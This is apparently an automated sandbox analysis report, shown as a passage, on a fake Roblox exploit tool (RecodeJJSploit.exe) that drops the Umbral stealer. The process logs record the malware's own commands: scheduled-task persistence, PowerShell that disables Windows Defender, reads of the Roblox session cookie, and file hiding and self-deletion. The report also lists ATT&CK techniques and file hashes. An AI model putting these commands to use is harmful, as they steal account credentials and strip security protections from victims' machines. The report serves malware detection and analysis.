      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:976
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4268
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2504
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3380
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2108
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4012
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3560
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2576
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4904
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3688
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4088
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:1124
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2624
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3680
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4496
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4312
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1852
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:1348
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4472
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4412
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2748
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:1588
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4148
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4884
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1772
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2804
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2672
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:632
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2124
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4360
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:8
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:1036
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2204
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2644
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1868
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:2084
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2380
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:3540
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4420
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:388
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:5020
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4412
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:1072
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1984
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:4620
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST & exit
    3⤵
    PID:992
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "windeep" /tr "C:\Windows\xdwdWPS.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3552
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1344
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:544
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:1796
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2068

C:\Users\Admin\Desktop\RecodeJJSploit.exe
"C:\Users\Admin\Desktop\RecodeJJSploit.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4260
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:1476
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:3596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1304
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:8
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1188
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:4052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    PID:4968
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Loads dropped DLL
    - Detects videocard installed
    PID:2744
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3016
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3416

C:\Users\Admin\Desktop\RecodeJJSploit.exe
"C:\Users\Admin\Desktop\RecodeJJSploit.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3196
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

Filesize
1KB

MD5
0388540355a351f0f503fa63764f91da

SHA1
7da660f59bb3a43c42a6f53e1228f4b28a096d6f

SHA256
c61790bd6142ffa61ec89621e55df61b925dabf668bb1f70eb70965a4ab4079c

SHA512
d645259e0ced7820c0a95d20275d9beb9ac75eeb133012f6a9e8f3267240bc958d0477c28af8ea71380723b087d62b3efc8b8f563f96e57568df267e3160c364

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
83d94e8aa23c7ad2db6f972739506306

SHA1
bd6d73d0417971c0077f772352d2f538a6201024

SHA256
dfa5cbd243b304f47196c492bc2d8b29941a550c2f076ef8bdfca72755e71881

SHA512
4224625e8ef8dadc72f1e1a1edfe2079656b14f2af94ce6128316481d96e9d0b6edf4de13fcdcc182038a2b29eb562b9246f944aecebfcb7c5ee8d7936b6287e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a372fe4de974869a249a69ec7d412f21

SHA1
5bc149f953ff9b8f591a545f02e6d25c54bc35c9

SHA256
a4f25dbb512f3b28843935f0af2e458a53d7816350e1cd1aa5f4495fe82cce90

SHA512
614522b5b8ac67a6075792dbf9655eaf5c3e7812ee785c5f3c6fff9b8e5a78810ee2f976594ef547f29d1cd087908c5ea97f83d9c106eacfe982a66bd1bf4370

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
43a63637614b06cf4ca7e1b85c25b071

SHA1
1fefef7f0dfef9f9ba248f168a0c85314f5f4053

SHA256
0f3ec5a874fe41abd67013b8481610202272468333616bf098ced19c1f271e6b

SHA512
6396d789420a8a13367483ec6d7f288e437cf75527f11132285738587ce549f95587c32c56d023008b5725e465a76da244093707079b13216c057a550b4cc1d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
6f75687be47c8d0295e49b7152e3ff24

SHA1
760f681c811c3cb6a2aaf236d8f3f724e89d201e

SHA256
acbf15bb6f61dc352b62acd5ebda3fddb6e79d8973dd2a7cc7339924493c02de

SHA512
a445607fab0309575f7ae4f8e4ddf01dacbfb3daba0ea646d8fefabb0f519dae5ce2ab620457288a76e289b33d552efdce02517d1bbb1bb71b7d35981bac2824

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5e22dd1cda88782a1f52f76e748ef957

SHA1
3231826619a06fa541e2bfb21da445bd7013b5ac

SHA256
73302eedcdcfa0f9639f0d00e50c19f7ff4b7bab9df431cfee38e4b94bd4ecec

SHA512
75039c01812a7c0bef9fc2d0b4b8867c9acf2daf6a8ade8171d8edc7c0a2ff11488554d30397fee424922346394f14eef7518943db769c35e6916bee26f16498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
80f40afdcf16513f9f729bde83727443

SHA1
048f904817a4ec90571fbd59386d1d16af0a5d03

SHA256
5cd4fed2d8062c33d1ded379ed72dd1a2d2871b2e697b4f2179f01f3a6f835af

SHA512
fb4a3b54505b6dd35d05131fbb1ea58371f81db7de8177423de52a42b38c1495c18638ced0fa1e53c30c7fc95a7d60b251125913d092304062ef5703c950d826

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3f227fa0b699f9a30db777271d1d24f1

SHA1
3264aba29af8868dd0638dd5bd0791d9234012dc

SHA256
b5fca526f30753b464b1fc9fcf0d0b85feaa066abdfaab39f9b6bc2d6d58a3e6

SHA512
44ded679e98d87babf6c45d3e416b0de4c1e154ffbc65fd66f5ef1611a1f67885d59328d16465f1e7593e378b08f4e19ee726cffcc583e9e0cd9c38fc0b0a2d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1bc7686851b3d27c54cf1b21a96ed7e4

SHA1
cd4ab9f573016bfd92e8c6f56a655a335f13af4a

SHA256
b40ace76124ee9af00d9b1731b9937dacabe1f9fac012083305ccf9dc0ff5254

SHA512
53ede4d3b13bbe5b242d3927719af1448936fddfebc41d26f2c7dfe1ca0edcd5d24736c669ad7ed989219d42a0628babdea5fb8cc0092a2d599307febea8d77c

Download Submit
C:\Users\Admin\AppData\Local\Temp\JJSploit.exe

Filesize
10.0MB

MD5
d5d2e3c5614a7d174d6a402f8261f4da

SHA1
acd83341f400a38e8efd1921e4d219bd6a90277e

SHA256
b4446a0710b742eabcd47708aba123e2acab13ecba33756e1fc0a1e2c771a2f0

SHA512
e0f4974c000c61f33d396fef817b656de8d6cd41663cb2072ff689fa6e9dcd87fa441adaa9055c73854d14650141358d8785c2d5b78eb69265cbaafaf73814c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
231KB

MD5
6666c618cfef7187d04f9eb7d0cda700

SHA1
3a3ae164b936113dd895dc1d6bf69ff8e13b4ebe

SHA256
591be99ca233dc0bfb5e64b9fc22309c7019f401375aa2fcf0fc87ef3789c371

SHA512
10b100b9c8d173a1d340e76325b2a52273ef9121c2b560f80d26e785606e60a5a291d9df3f80b442b0ab9e0a5368344881beca4236d604021a74a78ba1acc3ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abhrvcec.xo5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\RecodeJJSploit.exe

Filesize
10.3MB

MD5
779e78c27d9bc8c7fb68e25a7799cad0

SHA1
b5e8956f6d6b0ad63f275bf09c41d0f6429a098a

SHA256
4f0bfb2c0b27a170aee3698f475e73fdb6aee18b6f79595b1af65198807ec95f

SHA512
757e2e3e763f385d39a5033132002c7456173fa0a3a67fc010519b71f2f53a2fb710cc7f49999f89f3e1e7b44b99fcab212ace1c414894a85a9d4b315e7c7727

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
C:\Windows\xdwd.dll

Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

Download Submit
memory/636-77-0x0000000000400000-0x0000000000E4E000-memory.dmp

Filesize
10.3MB

Download
memory/1476-761-0x0000018BA1490000-0x0000018BA158F000-memory.dmp

Filesize
1020KB

Download
memory/1976-129-0x0000019D66A30000-0x0000019D66A3A000-memory.dmp

Filesize
40KB

Download
memory/1976-130-0x0000019D682E0000-0x0000019D682F2000-memory.dmp

Filesize
72KB

Download
memory/1976-76-0x0000019D66550000-0x0000019D66590000-memory.dmp

Filesize
256KB

Download
memory/1976-105-0x0000019D66A60000-0x0000019D66A7E000-memory.dmp

Filesize
120KB

Download
memory/1976-104-0x0000019D68230000-0x0000019D68280000-memory.dmp

Filesize
320KB

Download
memory/1976-103-0x0000019D68430000-0x0000019D684A6000-memory.dmp

Filesize
472KB

Download
memory/3196-624-0x0000000000400000-0x0000000000E4E000-memory.dmp

Filesize
10.3MB

Download
memory/3736-74-0x00000000007C0000-0x0000000000830000-memory.dmp

Filesize
448KB

Download
memory/3736-75-0x00007FFD4EC63000-0x00007FFD4EC65000-memory.dmp

Filesize
8KB

Download
memory/4260-619-0x0000000000400000-0x0000000000E4E000-memory.dmp

Filesize
10.3MB

Download
memory/4468-87-0x00000230EA910000-0x00000230EA932000-memory.dmp

Filesize
136KB

Download